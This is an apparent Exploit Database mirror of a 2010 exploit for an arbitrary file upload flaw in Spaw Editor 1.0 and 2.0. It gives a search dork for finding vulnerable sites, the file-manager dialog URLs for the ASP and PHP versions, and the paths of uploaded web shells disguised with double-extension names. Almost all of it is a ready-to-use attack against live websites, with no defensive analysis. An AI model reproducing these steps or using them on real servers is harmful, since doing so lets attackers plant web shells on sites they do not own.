Spaw Editor 1.0/2.0 – Arbitrary File Upload

• Exploit Database
• 19 阅读

• 作者： Ma3sTr0-Dz
  日期： 2010-05-20
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/12672/

• # Tilte: Spaw Editor v1.0 & 2.0 Remote File Upload .
  
  # Date....................: [20-05-2010]
  # Author..................: [Ma3sTr0-Dz]
  # Location ...............: [Algeria]
  # Software ...............: [Spaw Editor v1 & v2] 
  # Impact..................: [Remote]
  # Site Software ..........: [http://www.spaweditor.com]
  # Sptnx ..................: [CmOs_Clr & Sec4ever Memberz.]
  # Home : .................: [Www.Sec4ever.Com/home/ For Latest 2010 Localz & priv8 Exploits !]
  # Contact me : ...........: [o5m@hotmail.de]
  
  # Vulnerability: Remote File Upload .
  
  # Part ExplOit & Bug Codes :
  
  Dork [ allinurl:spaw2/dialogs/ ]
  
  Exploit :
  
  For Windows & ASP Sites : 
  
  /spaw2/dialogs/dialog.aspx?module=spawfm&dialog=spawfm&theme=spaw2〈=en&charset=utf-8&scid=2d0650b7920a4fbf87598f8d58b4a99b&type=images
  
  /spaw2/uploads/files/sec4ever.asp;.jpg
  
  =====================================
  
  For Linux PHP :
  
  /spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2〈=en&charset=utf-8&scid=2d0650b7920a4fbf87598f8d58b4a99b&type=files
  
  /spaw2/uploads/files/sec4ever.jpg.php
  
  =====================================
  
  Special Thanks to : Exploit-db Team &Www.Sec4ever.com/home [ Latest Shellcodez - Security News - Priv8 Exploits &
   Localz ] .